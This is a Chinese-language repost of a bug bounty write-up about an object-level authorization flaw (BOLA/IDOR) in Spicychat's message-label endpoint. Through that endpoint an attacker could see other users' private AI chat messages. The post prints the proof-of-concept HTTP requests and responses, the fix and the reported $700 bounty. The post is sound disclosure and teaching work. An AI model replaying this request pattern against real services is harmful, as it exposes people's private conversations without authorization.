文章总结: 本文披露了Spicychat平台上一个对象级授权失效(BOLA/IDOR)漏洞,该漏洞允许攻击者通过未授权访问消息标签端点来泄露私密AI聊天内容。漏洞赏金为700美元。核心问题在于辅助功能端点缺少授权检查,修复建议是在处理标签更新前验证用户对父对话的访问权限。建议安全测试时关注次要功能端点的授权。 综合评分: 88 文章分类: 漏洞分析,渗透测试,红队,WEB安全
0185.绕过人工智能聊天隐私:BOLA 漏洞如何泄露 Spicychat 上的私人信息(赏金 700 美元)
原创
Kenjisubagja Kenjisubagja
Rsec
2026年7月10日 15:23 贵州
在小说阅读器读本章
去阅读
本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
声明:本文搬运自互联网,如你是原作者,请联系我们!
类型:BOLA
各位漏洞赏金猎人和网络安全爱好者们,大家好!在本文中,我想分享我最近发现的一个中等严重程度的漏洞,该漏洞为我赢得了 700 美元的赏金。
此次攻击的目标是 Spicychat ,这是一个热门平台,用户可以在该平台上与 AI 角色进行角色扮演和对话。在这样一个用户与 AI 进行高度私密、敏感或露骨的角色扮演聊天应用中,隐私是绝对的重中之重。
在评估过程中,我发现了一个对象级授权失效(BOLA/IDOR) 漏洞。虽然用于读取私密对话的主要端点完全安全,但用于“标记”或“评分”消息的辅助端点却完全缺少授权检查。这一漏洞不仅允许攻击者篡改其他用户的消息数据,还能泄露私密消息的明文内容。
以下是该漏洞的技术分析。
架构与缺陷
与许多现代平台一样,Spicychat 允许用户对 AI 回复进行评分或标记(例如,将消息标记为“有趣”、“好”或“坏”),以改进 AI 模型。
查看对话的主要入口点会正确检查已认证用户是否为该聊天的发起者:
GET /api/v1/characters/[REDACTED]/messages/[CONVERSATION_ID]
如果未经授权的用户尝试查看会话,服务器会正确地抛出 401 Conversation view operation denied 。核心授权边界非常牢固。
然而,开发人员常常忘记对辅助功能性端点应用同样的严格检查。我发现负责更新消息标签的端点没有验证请求者是否确实是父对话的所有者:
POST /api/v1/messages/{message_id}/label
如果攻击者知道或能够获取有效的 message_id (UUID),他们就可以为其添加标签。服务器不仅会接受这种未经授权的修改,还会将整个目标消息对象反映到响应正文中,从而有效地泄露私聊内容。
概念验证(利用步骤)
为了在不影响真实用户的情况下安全地演示这一点,我设置了两个受控测试帐户:帐户 A (受害者)和帐户 B (攻击者)。
第一步:受害者发起私密对话
账户 A 与 AI 角色发起私聊并生成一条消息。API 会为这条消息分配一个 UUID:
{ "conversation_id": "fb5c06dc-e800-4042-8df6-[REDACTED]", "messages": [ { "conversation_id": "fb5c06dc-e800-4042-8df6-[REDACTED]", "role": "user", "id": "19fc6892-e1f2-4fca-8da5-[REDACTED]", "content": "Secret-Private-Message-Content-Here", "createdAt": 1778876803910 } ]}
步骤二:验证安全基线
账户 B(攻击者)尝试使用标准聊天查看端点直接读取账户 A 的对话。
GET /api/v1/characters/[REDACTED]/messages/fb5c06dc-e800... HTTP/2Authorization: Bearer <ACCOUNT_B_TOKEN>
结果: 服务器采取安全措施,拒绝了该请求。
{ "status": 401, "message": "Conversation view operation denied.", "errorCode": "SC-001-1803"}
步骤 3:通过消息标签绕过 BOLA
由于直接访问被阻止,账户 B 使用属于账户 A 的特定 message_id 来攻击存在漏洞的标签端点:
POST /api/v1/messages/19fc6892-e1f2-4fca-8da5-[REDACTED]/label HTTP/2Host: api.[REDACTED].comAuthorization: Bearer <ACCOUNT_B_TOKEN>Content-Type: application/json
{ "message_id": "19fc6892-e1f2-4fca-8da5-[REDACTED]", "label": "funny"}
易受攻击的响应: 服务器返回 200 OK ,并将整个被篡改的消息对象返回给攻击者:
{ "message": "success", "result": { "conversation_id": "fb5c06dc-e800-4042-8df6-[REDACTED]", "role": "user", "id": "19fc6892-e1f2-4fca-8da5-[REDACTED]", "content": "Secret-Private-Message-Content-Here", "createdAt": 1778876803910, "rating": "funny" }}
影响
通过绕过预设的授权模型,已认证的攻击者可以:
-
披露私人数据:
使用成功的标签响应作为消息披露预言机来读取私人、露骨或敏感的 AI 角色扮演聊天记录。
-
篡改数据(数据完整性):
修改其他用户拥有的私人消息的评分/标签元数据,可能会污染平台的 AI 训练反馈循环和质量指标。
虽然利用此漏洞需要知道 message_id UUID(这增加了防止大规模抓取的难度),但完全缺乏对象级授权仍然对目标用户构成重大的隐私风险。
补救措施
这个问题的解决方法很简单,但至关重要。后端在接受任何标签更新或状态变更之前,必须:
- 在服务器端解析
message_id以找到其父conversation_id。 - 检查访问控制列表 (ACL) 以确认请求用户是否拥有或被授权查看该特定对话。
- 如果授权失败,则在处理变更或返回任何消息内容之前,立即返回
403 Forbidden或404 Not Found。
Spicychat 的安全团队专业地处理了这份报告,部署了补丁程序,并向发现漏洞者悬赏了 700 美元。
结论
在排查 BOLA/IDOR 漏洞时,不要只关注主要端点( GET /profile 、 GET /messages )。务必检查次要功能,例如添加收藏、内容评分、举报或标记项目。开发人员往往只关注前门安全,却忽略了侧门的安全防护。
感谢阅读,祝您编程愉快!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Rsec Kenjisubagja Kenjisubagja《0185.绕过人工智能聊天隐私:BOLA 漏洞如何泄露 Spicychat 上的私人信息(赏金 700 美元)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论